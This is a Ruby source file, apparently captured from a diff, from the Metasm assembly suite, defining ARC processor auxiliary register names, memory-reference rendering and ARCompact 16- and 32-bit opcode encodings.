0x49 => 'dc_ldl', # Lock data line
|
||||
0x4A => 'dc_ivdl', # Invalidate data line
|
||||
0x4B => 'dc_flsh', # Flush data cache
|
||||
0x4C => 'dc_fldl', # Flush data line
|
||||
0x58 => 'dc_ram_addr', # Access RAM address
|
||||
0x59 => 'dc_tag', # Tag Access
|
||||
0x5A => 'dc_wp', # Way Pointer Access
|
||||
0x5B => 'dc_data', # Data Access
|
||||
0x62 => 'crc_bcr',
|
||||
0x64 => 'dvfb_bcr',
|
||||
0x65 => 'extarith_bcr',
|
||||
0x68 => 'vecbase_bcr',
|
||||
0x69 => 'perbase_bcr',
|
||||
0x6f => 'mmu_bcr',
|
||||
0x72 => 'd_cache_build', # Build: Data Cache
|
||||
0x73 => 'madi_build', # Build: Multiple ARC Debug I/F
|
||||
0x74 => 'ldstram_build', # Build: LD/ST RAM
|
||||
0x75 => 'timer_build', # Build: Timer
|
||||
0x76 => 'ap_build', # Build: Actionpoints
|
||||
0x77 => 'i_cache_build', # Build: I-Cache
|
||||
0x78 => 'addsub_build', # Build: Saturated Add/Sub
|
||||
0x79 => 'dspram_build', # Build: Scratch RAM & XY Memory
|
||||
0x7B => 'multiply_build', # Build: Multiply
|
||||
0x7C => 'swap_build', # Build: Swap
|
||||
0x7D => 'norm_build', # Build: Normalise
|
||||
0x7E => 'minmax_build', # Build: Min/Max
|
||||
0x7F => 'barrel_build', # Build: Barrel Shift
|
||||
0x100 => 'timer1_cnt', # Processor Timer 1 Count value
|
||||
0x101 => 'timer1_ctrl', # Processor Timer 1 Control value
|
||||
0x102 => 'timer1_limit', # Processor Timer 1 Limit value
|
||||
0x200 => 'aux_irq_lev', # Interrupt Level Programming
|
||||
0x201 => 'aux_irq_hint', # Software Triggered Interrupt
|
||||
0x202 => 'aux_irq_mask', # Masked bits for Interrupts
|
||||
0x203 => 'aux_irq_base', # Interrupt Vector base address
|
||||
0x400 => 'eret', # Exception Return Address
|
||||
0x401 => 'erbta', # Exception Return Branch Target Address
|
||||
0x402 => 'erstatus', # Exception Return Status
|
||||
0x403 => 'ecr', # Exception Cause Register
|
||||
0x404 => 'efa', # Exception Fault Address
|
||||
0x40A => 'icause1', # Level 1 Interrupt Cause Register
|
||||
0x40B => 'icause2', # Level 2 Interrupt Cause Register
|
||||
0x40C => 'aux_ienable', # Interrupt Mask Programming
|
||||
0x40D => 'aux_itrigger', # Interrupt Sensitivity Programming
|
||||
0x410 => 'xpu', # User Mode Extension Enables
|
||||
0x412 => 'bta', # Branch Target Address
|
||||
0x413 => 'bta_l1', # Level 1 Return Branch Target
|
||||
0x414 => 'bta_l2', # Level 2 Return Branch Target
|
||||
0x415 => 'aux_irq_pulse_cancel', # Interrupt Pulse Cancel
|
||||
0x416 => 'aux_irq_pending', # Interrupt Pending Register
|
||||
}
|
||||
|
||||
def render
|
||||
if s = Render[i]
|
||||
[s]
|
||||
else
|
||||
["aux#@i"]
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
class Memref
|
||||
attr_accessor :base, :disp
|
||||
|
||||
def initialize(base, disp, sz)
|
||||
@base, @disp, @size = base, disp, sz
|
||||
end
|
||||
|
||||
def symbolic(orig)
|
||||
b = @base
|
||||
b = b.symbolic if b.kind_of? Reg
|
||||
|
||||
if disp
|
||||
o = @disp
|
||||
o = o.symbolic if o.kind_of? Reg
|
||||
e = Expression[b, :+, o].reduce
|
||||
else
|
||||
e = Expression[b].reduce
|
||||
end
|
||||
|
||||
Indirection[e, @size, orig]
|
||||
end
|
||||
|
||||
include Renderable
|
||||
|
||||
def render
|
||||
if @disp and @disp != 0
|
||||
['[', @base, ', ', @disp, ']']
|
||||
else
|
||||
['[', @base, ']']
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,588 @@
|
|||
# This file is part of Metasm, the Ruby assembly manipulation suite
|
||||
# Copyright (C) 2006-2010 Yoann GUILLOT
|
||||
#
|
||||
# Licence is LGPL, see LICENCE in the top-level directory
|
||||
|
||||
require 'metasm/cpu/arc/main'
|
||||
|
||||
module Metasm
|
||||
class ARC
|
||||
def addop32(name, bin, *args)
|
||||
addop(:ac32, name, bin, *args)
|
||||
end
|
||||
|
||||
def addop16(name, bin, *args)
|
||||
addop(:ac16, name, bin, *args)
|
||||
end
|
||||
|
||||
def addop(mode, name, bin, *args)
|
||||
o = Opcode.new(name)
|
||||
o.bin = bin
|
||||
args.each { |a|
|
||||
o.args << a if @fields_mask[a]
|
||||
o.props[a] = true if @valid_props[a]
|
||||
o.fields[a] = [@fields_mask[a], @fields_shift[a]] if @fields_mask[a]
|
||||
}
|
||||
(mode == :ac16) ? (@opcode_list16 << o) : (@opcode_list32 << o)
|
||||
end
|
||||
|
||||
def init_opcode_list
|
||||
@opcode_list16 = []
|
||||
@opcode_list32 = []
|
||||
|
||||
@valid_props.update :flag_update => true, :delay_slot => true
|
||||
@cond_suffix = [''] + %w[z nz p n cs cc vs vc gt ge lt le hi ls pnz]
|
||||
#The remaining 16 condition codes (10-1F) are available for extension
|
||||
@cond_suffix += (0x10..0x1f).map{ |i| "extcc#{i.to_s(16)}" }
|
||||
|
||||
# Compact 16-bits operands field masks
|
||||
fields_mask16 = {
|
||||
:ca => 0x7, :cb => 0x7, :cb2 => 0x7, :cb3 => 0x7, :cc => 0x7,
|
||||
:cu => 0x1f,
|
||||
:ch => 0b11100111,
|
||||
|
||||
# immediate (un)signed
|
||||
:cu3 => 0x7, :cu8 => 0xff,
|
||||
# cu7 is 32-bit aligned, cu6 is 16-bit aligned, cu6 is 8-bit aligned
|
||||
:cu5 => 0x1f, :cu5ee => 0x1f, :cu6 => 0x3f, :cu7 => 0x7f,
|
||||
|
||||
:cs9 => 0x1ff, :cs9ee => 0x1ff, :cs10 => 0x1ff, :cs11 => 0x1ff,
|
||||
|
||||
# signed displacement
|
||||
:cdisps7=> 0x3f, :cdisps8 => 0x7f, :cdisps10 => 0x1ff, :cdisps13 => 0x7FF,
|
||||
|
||||
# memref [b+u], [sp,u], etc.
|
||||
:@cb => 0x7, :@cbu7 => 0b11100011111, :@cbu6 => 0b11100011111, :@cbu5 => 0b11100011111,
|
||||
:@cspu7 => 0b11111, :@cbcc => 0b111111,
|
||||
:@gps9 => 0x1ff, :@gps10 => 0x1ff, :@gps11 => 0x1ff,
|
||||
|
||||
# implicit operands
|
||||
:climm => 0x0, :cr0 => 0x0,
|
||||
:blink => 0x0, :@blink => 0x0, :gp => 0x0, :sp => 0x0, :sp2 => 0x0, :zero => 0x0
|
||||
}
|
||||
|
||||
fields_shift16 = {
|
||||
:ca => 0x0, :cb => 0x8, :cb2 => 0x8, :cb3 => 0x8, :cc => 0x5,
|
||||
:cu => 0x0,
|
||||
|
||||
# immediate (un)signed
|
||||
:ch => 0x0,
|
||||
:cu3 => 0x0, :cu5 => 0, :cu5ee => 0, :cu6 => 5, :cu7 => 0x0, :cu8 => 0x0,
|
||||
:cs9 => 0x0, :cs9ee => 0x0, :cs10 => 0x0, :cs11 => 0x0,
|
||||
|
||||
# signed displacement
|
||||
:cdisps7=> 0x0, :cdisps8 => 0x0, :cdisps10 => 0x0, :cdisps13 => 0x0,
|
||||
|
||||
# memref [b+u]
|
||||
:@cb => 0x8, :@cbu7 => 0x0, :@cbu6 => 0x0, :@cbu5 => 0x0,
|
||||
:@cspu7 => 0x0, :@cbcc => 0x5,
|
||||
:@gps9 => 0x0, :@gps10 => 0x0, :@gps11 => 0x0,
|
||||
|
||||
# implicit operands
|
||||
:climm => 0x0, :cr0 => 0x0,
|
||||
:blink => 0x0, :@blink => 0x0, :gp => 0x0, :sp => 0x0, :sp2 => 0x0, :zero => 0x0,
|
||||
}
|
||||
|
||||
fields_mask32 = {
|
||||
:a => 0x3f, :b => 0b111000000000111, :bext => 0b111000000000111,
|
||||
:c => 0x3f, :@c => 0x3f, :cext => 0x3f, :@cext => 0x3f,
|
||||
|
||||
:u6 => 0x3f, :u6e => 0x3f,
|
||||
:s8e => 0x1fd, :s9 => 0x7f,
|
||||
:s12 => 0xfff, :s12e => 0xfff,
|
||||
:s21e => 0x1ffBff, :s21ee => 0x1ff3ff,
|
||||
:s25e => 0x7feffcf, :s25ee => 0x7fcffcf,
|
||||
|
||||
:@bs9 => 0x7fff, :@bc => 0x1ff, :@bextcext => 0x1C01FF,
|
||||
|
||||
:limm => 0x0, :@limm => 0x0,
|
||||
:@limmc => 0x3f, :@blimm => 0x7,
|
||||
|
||||
:auxlimm => 0x0, :auxs12 => 0xfff,
|
||||
|
||||
:ccond => 0x1f, #condition codes
|
||||
:delay5 => 1, :delay16 => 1,# delay slot
|
||||
:flags15 => 0x1, :flags16 => 0x1,
|
||||
:signext6 => 0x1, :signext16 => 0x1,
|
||||
:cache5 => 0x1, :cache11 => 0x1, :cache16 => 0x1, # data cache mode field
|
||||
:sz1 => 0x3, :sz7 => 0x3, :sz16 => 0x3, :sz17 => 0x3, #data size field
|
||||
:wb3 => 0x3, :wb9 => 0x3, :wb22 => 0x3, #write-back flag
|
||||
:zero => 0x0, :b2 => 0x0, :@ilink1 => 0x0, :@ilink2 => 0x0
|
||||
}
|
||||
#FIXME
|
||||
|
||||
fields_shift32 = {
|
||||
:a => 0x0, :b => 0xC, :bext => 0xC,
|
||||
:c => 0x6, :@c => 0x6, :cext => 0x6, :@cext => 0x6,
|
||||
|
||||
:u6 => 0x6, :u6e =>0x6,
|
||||
:s8e => 15, :s9 => 0x11,
|
||||
:s12 => 0x0, :s12e => 0,
|
||||
:s21e => 0x6, :s21ee => 0x6,
|
||||
:s25e => 0, :s25ee => 0,
|
||||
|
||||
:limm => 0x0, :@limm => 0x0,
|
||||
:@limmc => 0x6, :@blimm => 0x18,
|
||||
|
||||
:auxlimm => 0x0, :auxs12 => 0,
|
||||
|
||||
:@bs9 => 12, :@bc => 6, :@bextcext => 6,
|
||||
|
||||
:ccond => 0, #condition codes
|
||||
:delay5 => 5, :delay16 => 16,# delay slot
|
||||
:flags15 => 15, :flags16 => 16,
|
||||
:signext6 => 6, :signext16 => 16,
|
||||
:cache5 => 5, :cache11 => 11, :cache16 => 16, # data cache mode field
|
||||
:sz1 => 1, :sz7 => 7, :sz16 => 16, :sz17 => 17, #data size field
|
||||
:wb3 => 3, :wb9 => 9, :wb22 => 22, #write-back flag
|
||||
:zero => 0x0, :b2 => 0x0, :@ilink1 => 0, :@ilink2 => 0,
|
||||
}
|
||||
|
||||
@fields_mask = fields_mask16.merge(fields_mask32)
|
||||
@fields_shift = fields_shift16.merge(fields_shift32)
|
||||
|
||||
init_arc_compact16()
|
||||
init_arc_compact32()
|
||||
|
||||
{16 => @opcode_list16, 32 => @opcode_list32}
|
||||
end
|
||||
|
||||
def add_artihm_op(op, majorcode, subcode, *flags)
|
||||
# 0bxxxxxbbb00xxxxxxFBBBCCCCCCAAAAAA
|
||||
addop32 op, 0b00000000000000000000000000000000 | majorcode << 0x1b | subcode << 16, :a, :bext, :cext, :flags15
|
||||
# 0bxxxxxbbb01xxxxxxFBBBuuuuuuAAAAAA
|
||||
addop32 op, 0b00000000010000000000000000000000 | majorcode << 0x1b | subcode << 16, :a, :b, :u6, :flags15
|
||||
# 0bxxxxxbbb10xxxxxxFBBBssssssSSSSSS
|
||||
addop32 op, 0b00000000100000000000000000000000 | majorcode << 0x1b | subcode << 16, :b, :b2, :s12, :flags15
|
||||
# 0bxxxxxbbb11xxxxxxFBBBCCCCCC0QQQQQ
|
||||
addop32 op, 0b00000000110000000000000000000000 | majorcode << 0x1b | subcode << 16, :b, :b2, :cext, :ccond, :flags15
|
||||
# 0bxxxxxbbb11xxxxxxFBBBuuuuuu1QQQQQ
|
||||
addop32 op, 0b00000000110000000000000000100000 | majorcode << 0x1b | subcode << 16, :b, :b2, :u6, :ccond, :flags15
|
||||
end
|
||||
|
||||
def add_logical_op(op, majorcode, subcode, *flags)
|
||||
# 0b00100bbb00xxxxxxFBBBCCCCCCAAAAAA
|
||||
addop32 op, 0b00100000000000000000000000000000 | majorcode << 0x1b | subcode << 16, :a, :bext, :c, :flags15
|
||||
# 0b00100bbb01xxxxxxFBBBuuuuuuAAAAAA
|
||||
addop32 op, 0b00100000010000000000000000000000 | majorcode << 0x1b | subcode << 16, :a, :b, :u6, :flags15
|
||||
# 0b00100bbb11xxxxxxFBBBCCCCCC0QQQQQ
|
||||
# WTF
|
||||
addop32 op, 0b00100000110000000000000000000000 | majorcode << 0x1b | subcode << 16, :b, :b2, :c, :ccond, :flags15
|
||||
# 0b00100bbb11xxxxxxFBBBuuuuuu1QQQQQ
|
||||
addop32 op, 0b00100000110000000000000000100000 | majorcode << 0x1b | subcode << 16, :b, :b2, :u6, :ccond, :flags15
|
||||
end
|
||||
|
||||
def add_artihm_op_reduce(op, majorcode, subcode)
|
||||
# 0bxxxxxbbb00101111FBBBCCCCCCxxxxxx
|
||||
addop32 op, 0b00000000001011110000000000000000 | majorcode << 0x1b | subcode, :b, :cext, :flags15
|
||||
# 0bxxxxxbbb01101111FBBBuuuuuuxxxxxx
|
||||
addop32 op, 0b00000000011011110000000000000000 | majorcode << 0x1b | subcode, :b, :u6, :flags15
|
||||
end
|
||||
|
||||
def add_condbranch_op(op, ccond)
|
||||
# 0b00001bbbsssssss1SBBBUUUUUUN0xxxx
|
||||
addop32 op, 0b00001000000000010000000000000000 | ccond, :bext, :cext, :s8e, :setip, :delay5
|
||||
# 0b00001bbbsssssss1SBBBUUUUUUN1xxxx
|
||||
addop32 op, 0b00001000000000010000000000010000 | ccond, :b, :u6, :s8e, :setip, :delay5
|
||||
end
|
||||
|
||||
def add_condjmp_op()
|
||||
# 0b00100RRR1110000D0RRRCCCCCC0QQQQQ
|
||||
addop32 'j', 0b00100000111000000000000000000000, :@cext, :ccond, :setip, :delay16
|
||||
# 0b00100RRR1110000D0RRRuuuuuu1QQQQQ
|
||||
addop32 'j', 0b00100000111000000000000000100000, :u6, :ccond, :setip, :delay16
|
||||
# 0b00100RRR111000001RRR0111010QQQQQ
|
||||
addop32 'j', 0b00100000111000001000011101000000, :@ilink1, :ccond, :setip, :flag_update
|
||||
# 0b00100RRR111000001RRR0111100QQQQQ
|
||||
addop32 'j', 0b00100000111000001000011110000000, :@ilink2, :ccond, :setip, :flag_update
|
||||
end
|
||||
|
||||
def add_condjmplink_op()
|
||||
# 0b00100RRR111000100RRRCCCCCC0QQQQQ
|
||||
addop32 'jl', 0b00100000111000100000000000000000, :@cext, :ccond, :setip, :saveip, :delay16
|
||||
# 0b00100RRR111000100RRRuuuuuu1QQQQQ
|
||||
addop32 'jl', 0b00100000111000100000000000100000, :u6, :ccond, :setip, :saveip, :delay16
|
||||
end
|
||||
|
||||
def init_arc_compact32
|
||||
|
||||
add_artihm_op_reduce 'abs', 0b00100, 0b001001
|
||||
add_artihm_op_reduce 'abss', 0b00101, 0b000101
|
||||
add_artihm_op_reduce 'abssw', 0b00101, 0b000100
|
||||
|
||||
add_artihm_op 'adc', 0b00100, 0b000001
|
||||
add_artihm_op 'add', 0b00100, 0b000000
|
||||
add_artihm_op 'add1', 0b00100, 0b010100
|
||||
add_artihm_op 'add2', 0b00100, 0b010101
|
||||
add_artihm_op 'add3', 0b00100, 0b010110
|
||||
add_artihm_op 'adds', 0b00101, 0b000110
|
||||
add_artihm_op 'addsw', 0b00101, 0b010101, :extended
|
||||
add_artihm_op 'addsdw',0b00101, 0b101000, :extended
|
||||
add_artihm_op 'and' ,0b00100, 0b000100
|
||||
|
||||
add_artihm_op_reduce 'asl', 0b00100, 0b000000
|
||||
|
||||
add_artihm_op 'asl', 0b00101, 0b000000, :extended
|
||||
add_artihm_op 'asls', 0b00101, 0b001010, :extended
|
||||
|
||||
add_artihm_op_reduce 'asr', 0b00100, 0b000001
|
||||
|
||||
add_artihm_op 'asr', 0b00101, 0b000010
|
||||
add_artihm_op 'asrs', 0b00101, 0b001011
|
||||
|
||||
# 0b00001bbbsssssss1SBBBCCCCCCN01110
|
||||
addop32 'bbit0', 0b00001000000000010000000000001110, :b, :c, :s9, :delay5, :setip
|
||||
# 0b00001bbbsssssss1SBBBuuuuuuN11110
|
||||
addop32 'bbit0', 0b00001000000000010000000000011110, :b, :u6, :s9, :delay5, :setip
|
||||
# 0b00001bbbsssssss1SBBBCCCCCCN01111
|
||||
addop32 'bbit1', 0b00001000000000010000000000001111, :b, :c, :s9, :delay5, :setip
|
||||
# 0b00001bbbsssssss1SBBBuuuuuuN11111
|
||||
addop32 'bbit1', 0b00001000000000010000000000011111, :b, :u6, :s9, :delay5, :setip
|
||||
|
||||
# 0b00000ssssssssss0SSSSSSSSSSNQQQQQ
|
||||
addop32 'b', 0b00000000000000000000000000000000, :s21e, :ccond, :delay5, :setip
|
||||
# 0b00000ssssssssss1SSSSSSSSSSNRtttt
|
||||
addop32 'b', 0b00000000000000010000000000000000, :s25e, :delay5, :setip, :stopexec
|
||||
# WTF: unknown encoding, bit 5 should be reserved
|
||||
addop32 'b', 0b00000000000000010000000000010000, :s25e, :delay5, :setip, :stopexec
|
||||
|
||||
add_logical_op 'bclr', 0b00100, 0b010000
|
||||
add_artihm_op 'bic', 0b00100, 0b000110
|
||||
|
||||
# 0b00001sssssssss00SSSSSSSSSSNQQQQQ
|
||||
addop32 'bl', 0b00001000000000000000000000000000, :s21ee, :ccond, :delay5, :setip, :saveip
|
||||
# 0b00001sssssssss10SSSSSSSSSSNRtttt
|
||||
addop32 'bl', 0b00001000000000100000000000000000, :s25ee, :delay5, :setip, :saveip, :stopexec
|
||||
|
||||
add_logical_op 'bmsk', 0b00100, 0b010011
|
||||
|
||||
add_condbranch_op 'breq', 0b0000
|
||||
add_condbranch_op 'brne', 0b0001
|
||||
add_condbranch_op 'brlt', 0b0010
|
||||
add_condbranch_op 'brge', 0b0011
|
||||
add_condbranch_op 'brlo', 0b0100
|
||||
add_condbranch_op 'brhs', 0b0101
|
||||
|
||||
addop32 'brk', 0b00100101011011110000000000111111, :stopexec
|
||||
|
||||
add_logical_op 'bset', 0b00100, 0b001111
|
||||
|
||||
# 0b00100bbb110100011BBBCCCCCC0QQQQQ
|
||||
addop32 'btst', 0b00100000110100011000000000000000, :bext, :c, :ccond
|
||||
# 0b00100bbb110100011BBBuuuuuu1QQQQQ
|
||||
addop32 'btst', 0b00100000110100011000000000100000, :b, :u6, :ccond
|
||||
# WTF 0b00100bbb010100011BBBuuuuuu0QQQQQ
|
||||
addop32 'btst', 0b00100000010100011000000000000000, :b, :u6, :ccond
|
||||
|
||||
add_logical_op 'bxor', 0b00100, 0b010010
|
||||
|
||||
# 0b00100bbb100011001BBBssssssSSSSSS
|
||||
addop32 'cmp', 0b00100000100011001000000000000000, :b, :s12
|
||||
# WTF unknown encoding ...
|
||||
# 0b00100bbb010011001BBBssssssSSSSSS
|
||||
addop32 'cmp', 0b00100000010011001000000000000000, :b, :s12
|
||||
# 0b00100bbb110011001BBBuuuuuu1QQQQQ
|
||||
addop32 'cmp', 0b00100000110011001000000000100000, :b, :u6, :ccond
|
||||
# WTF unknown encoding ...
|
||||
# 0b00100bbb010011001BBBssssssSSSSSS
|
||||
addop32 'cmp', 0b00100000000011001000000000000000, :bext, :cext, :ccond
|
||||
# 0b00100bbb110011001BBBCCCCCC0QQQQQ
|
||||
addop32 'cmp', 0b00100000110011001000000000000000, :bext, :cext, :ccond
|
||||
|
||||
add_artihm_op 'divaw', 0b00101, 0b001000, :extended
|
||||
|
||||
# 0b00100bbb00101111DBBBCCCCCC001100
|
||||
addop32 'ex', 0b00100000001011110000000000001100, :b, :@cext, :cache16
|
||||
# 0b00100bbb01101111DBBBuuuuuu001100
|
||||
addop32 'ex', 0b00100000011011110000000000001100, :b, :@u6, :cache16
|
||||
|
||||
add_artihm_op_reduce 'extb', 0b00100, 0b000111
|
||||
add_artihm_op_reduce 'extw', 0b00100, 0b001000
|
||||
|
||||
# WTF unknown encoding ...
|
||||
# 0b00100rrr111010010RRRCCCCCC0QQQQQ
|
||||
addop32 'flag', 0b00100000001010010000000000000000, :cext, :ccond, :flag_update
|
||||
# 0b00100rrr111010010RRRuuuuuu1QQQQQ
|
||||
addop32 'flag', 0b00100000001010010000000000100000, :u6, :ccond, :flag_update
|
||||
# 0b00100rrr101010010RRRssssssSSSSSS
|
||||
addop32 'flag', 0b00100000011010010000000000000000, :s12, :flag_update
|
||||
|
||||
add_condjmp_op()
|
||||
add_condjmplink_op()
|
||||
|
||||
# 0b00100RRR001000000RRRCCCCCCRRRRRR
|
||||
addop32 'j', 0b00100000001000000000000000000000, :@cext, :delay16, :setip, :stopexec
|
||||
# 0b00100RRR011000000RRRuuuuuuRRRRRR
|
||||
addop32 'j', 0b00100000011000000000000000000000, :u6, :delay16, :setip, :stopexec
|
||||
# 0b00100RRR101000000RRRssssssSSSSSS
|
||||
addop32 'j', 0b00100000101000000000000000000000, :s12, :delay16, :setip, :stopexec
|
||||
# 0b00100RRR001000001RRR011101RRRRRR
|
||||
addop32 'j.f', 0b00100000001000001000011101000000, :@ilink1, :flag_update, :setip, :stopexec
|
||||
# 0b00100RRR001000001RRR011110RRRRRR
|
||||
addop32 'j.f', 0b00100000001000001000011110000000, :@ilink2, :flag_update, :setip, :stopexec
|
||||
|
||||
# 0b00100RRR0010001D0RRRCCCCCCRRRRRR
|
||||
addop32 'jl', 0b00100000001000100000000000000000, :@cext, :delay16, :setip, :saveip, :stopexec
|
||||
# 0b00100RRR0110001D0RRRuuuuuuRRRRRR
|
||||
addop32 'jl', 0b00100000011000100000000000000000, :u6, :delay16, :setip, :saveip, :stopexec
|
||||
# 0b00100RRR1010001D0RRRssssssSSSSSS
|
||||
addop32 'jl', 0b00100000101000100000000000000000, :s12, :delay16, :setip, :saveip, :stopexec
|
||||
|
||||
# 0b00010bbbssssssssSBBBDaaZZXAAAAAA
|
||||
addop32 'ld', 0b00010000000000000000000000000000, :a, :@bs9, :sz7, :signext6, :wb9, :cache11
|
||||
|
||||
# 0b00100bbbaa110ZZXDBBBCCCCCCAAAAAA
|
||||
addop32 'ld', 0b00100000001100000000000000000000, :a, :@bextcext, :sz17, :signext16, :wb22, :cache11
|
||||
|
||||
# 0b00100RRR111010000RRRuuuuuu1QQQQQ
|
||||
addop32 'lp', 0b00100000111010000000000000100000, :u6e, :ccond, :setip
|
||||
# 0b00100RRR101010000RRRssssssSSSSSS
|
||||
addop32 'lp', 0b00100000101010000000000000000000, :s12e, :setip
|
||||
|
||||
# 0b00100bbb001010100BBBCCCCCCRRRRRR
|
||||
addop32 'lr', 0b00100000101010100000000000000000, :b, :@c
|
||||
# 0b00100bbb001010100BBB111110RRRRRR
|
||||
addop32 'lr', 0b00100000001010100000111110000000, :b, :auxlimm
|
||||
# 0b00100bbb101010100BBBssssssSSSSSS
|
||||
addop32 'lr', 0b00100000011010100000000000000000, :b, :auxs12
|
||||
# WTF unknown encoding ...
|
||||
# 0b00100bbb101010100BBBssssssSSSSSS
|
||||
addop32 'lr', 0b00100000101010100000000000000000, :b, :auxs12
|
||||
|
||||
add_artihm_op_reduce 'lsr', 0b00100, 0b000010
|
||||
|
||||
add_artihm_op 'lsr', 0b00101, 0b000001
|
||||
add_artihm_op 'max', 0b00100, 0b001000
|
||||
add_artihm_op 'min', 0b00100, 0b001001
|
||||
|
||||
# 0b00100bbb10001010FBBBssssssSSSSSS
|
||||
addop32 'mov', 0b00100000100010100000000000000000, :b, :s12, :flags15
|
||||
# WTF unknown encoding ...
|
||||
# 0b00100bbb01001010FBBBssssssSSSSSS
|
||||
addop32 'mov', 0b00100000010010100000000000000000, :b, :s12, :flags15
|
||||
# 0b00100bbb11001010FBBBCCCCCC0QQQQQ
|
||||
addop32 'mov', 0b00100000110010100000000000000000, :b, :cext, :ccond , :flags15
|
||||
# WTF unknown encoding ..
|
||||
# 0b00100bbb00001010FBBBCCCCCC0QQQQQ
|
||||
addop32 'mov', 0b00100000000010100000000000000000, :b, :cext, :ccond , :flags15
|
||||
# 0b00100bbb11001010FBBBuuuuuu1QQQQQ
|
||||
addop32 'mov', 0b00100000110010100000000000100000, :b, :u6, :ccond , :flags15
|
||||
|
||||
add_artihm_op 'mpy', 0b00100, 0b011010, :extended
|
||||
add_artihm_op 'mpyh', 0b00100, 0b011011, :extended
|
||||
add_artihm_op 'mpyhu', 0b00100, 0b011100, :extended
|
||||
add_artihm_op 'mpyu', 0b00100, 0b011101, :extended
|
||||
|
||||
# WTF: neg instruction is not differenciated from a rsub :a, :b, :u6
|
||||
# : 0b00100bbb01001110FBBB000000AAAAAA
|
||||
#addop32 'neg', 0b00100000010011100000000000000000, :a, :b, :flags15
|
||||
|
||||
# WTF: neg instruction is not differenciated from a rsub :b, :b2, :u6
|
||||
# 0b00100bbb11001110FBBB0000001QQQQQ
|
||||
#addop32 'neg', 0b00100000110011100000000000100000, :b, :b2, :ccond , :flags15
|
||||
|
||||
add_artihm_op_reduce 'negs', 0b00101, 0b000111
|
||||
add_artihm_op_reduce 'negsw', 0b00101, 0b000110
|
||||
|
||||
# nop is an alias over mov null, 0 (mov - [:b, :s12, :flags15])
|
||||
addop32 'nop', 0b00100110010010100111000000000000
|
||||
|
||||
add_artihm_op_reduce 'norm', 0b00101, 0b000001
|
||||
add_artihm_op_reduce 'normw', 0b00101, 0b001000
|
||||
add_artihm_op_reduce 'not', 0b00100, 0b001010
|
||||
|
||||
add_artihm_op 'or', 0b00100, 0b000101
|
||||
|
||||
# 0b00010bbbssssssssSBBB0aa000111110
|
||||
addop32 'prefetch', 0b00010000000000000000000000111110, :@bs9, :wb
|
||||
# 0b00100bbbaa1100000BBBCCCCCC111110
|
||||
addop32 'prefetch', 0b00100000001100000000000000111110, :@bextcext, :wb22
|
||||
|
||||
# 0b00100bbb100011011BBBssssssSSSSSS
|
||||
addop32 'rcmp', 0b00100000100011011000000000000000, :b, :s12
|
||||
# 0b00100bbb110011011BBBCCCCCC0QQQQQ
|
||||
addop32 'rcmp', 0b00100000110011011000000000000000, :bext, :cext, :ccond
|
||||
# 0b00100bbb110011011BBBuuuuuu1QQQQQ
|
||||
addop32 'rcmp', 0b00100000110011011000000000100000, :b, :u6, :ccond
|
||||
|
||||
add_artihm_op_reduce 'rlc', 0b00100, 0b001011
|
||||
add_artihm_op_reduce 'rnd16', 0b00101, 0b000011
|
||||
add_artihm_op_reduce 'ror', 0b00100, 0b000011
|
||||
|
||||
add_artihm_op 'ror', 0b00101, 0b000011, :extended
|
||||
|
||||
add_artihm_op_reduce 'rrc', 0b00100, 0b000100
|
||||
|
||||
add_artihm_op 'rsub', 0b00100, 0b001110
|
||||
|
||||
addop32 'rtie', 0b00100100011011110000000000111111, :setip, :stopexec
|
||||
|
||||
add_artihm_op_reduce 'sat16', 0b00101, 0b000010
|
||||
|
||||
add_artihm_op 'sbc', 0b00100, 0b000011
|
||||
|
||||
add_artihm_op_reduce 'sexb', 0b00100, 0b000101
|
||||
add_artihm_op_reduce 'sexbw', 0b00100, 0b000110
|
||||
|
||||
# 0b00100001011011110000uuuuuu111111
|
||||
addop32 'sleep', 0b00100001011011110000000000111111, :u6
|
||||
|
||||
# 0b00100bbb001010110BBBCCCCCCRRRRRR
|
||||
addop32 'sr', 0b00100000001010110000000000000000, :bext, :@cext
|
||||
# 0b00100110101010110111CCCCCCRRRRRR
|
||||
addop32 'sr', 0b00100000101010110000000000000000, :bext, :auxs12
|
||||
# WTF: unknown encoding
|
||||
addop32 'sr', 0b00100000011010110000000000000000, :bext, :auxs12
|
||||
|
||||
# 0b00011bbbssssssssSBBBCCCCCCDaaZZR
|
||||
addop32 'st', 0b00011000000000000000000000000000, :cext, :@bs9, :sz1, :wb3, :cache5
|
||||
|
||||
add_artihm_op 'sub', 0b00100, 0b000010
|
||||
add_artihm_op 'sub1', 0b00100, 0b010111
|
||||
add_artihm_op 'sub2', 0b00100, 0b011000
|
||||
add_artihm_op 'sub3', 0b00100, 0b011001
|
||||
|
||||
# WTF: same encoding as xor instructions
|
||||
#add_artihm_op 'subs', 0b00100, 0b000111
|
||||
|
||||
add_artihm_op 'subsdw', 0b00101, 0b101001, :extended
|
||||
|
||||
add_artihm_op_reduce 'swap', 0b00101, 0b000000
|
||||
|
||||
addop32 'swi', 0b00100010011011110000000000111111, :setip, :stopexec
|
||||
addop32 'sync', 0b00100011011011110000000000111111
|
||||
|
||||
# 0b00100bbb100010111BBBssssssSSSSSS
|
||||
addop32 'tst', 0b00100000100010111000000000000000, :b, :s12
|
||||
# 0b00100bbb110010111BBBCCCCCC0QQQQQ
|
||||
addop32 'tst', 0b00100000110010111000000000000000, :bext, :cext, :ccond
|
||||
# 0b00100bbb110010111BBBuuuuuu1QQQQQ
|
||||
addop32 'tst', 0b00100000110010111000000000100000, :b, :u6, :ccond
|
||||
|
||||
add_artihm_op 'xor', 0b00100, 0b000111
|
||||
end
|
||||
|
||||
# ARCompact 16-bit instructions
|
||||
def init_arc_compact16
|
||||
addop16 'abs_s', 0x7811, :cb, :cc
|
||||
addop16 'add_s', 0x6018, :ca, :cb, :cc
|
||||
addop16 'add_s', 0x7000, :cb, :cb2, :ch
|
||||
addop16 'add_s', 0x6800, :cc, :cb, :cu3
|
||||
addop16 'add_s', 0xe000, :cb, :cb2, :cu7
|
||||
|
||||
# same encoding as add_s b,b,h
|
||||
#addop16 'add_s', 0x70c7, :cb, :cb2, :climm
|
||||
|
||||
addop16 'add_s', 0xc080, :cb, :sp, :cu5ee
|
||||
addop16 'add_s', 0xc0a0, :sp, :sp2, :cu5ee
|
||||
addop16 'add_s', 0xce00, :cr0, :gp, :cs9
|
||||
addop16 'add1_s', 0x7814, :cb, :cb2, :cc
|
||||
addop16 'add2_s', 0x7815, :cb, :cb2, :cc
|
||||
addop16 'add3_s', 0x7816, :cb, :cb2, :cc
|
||||
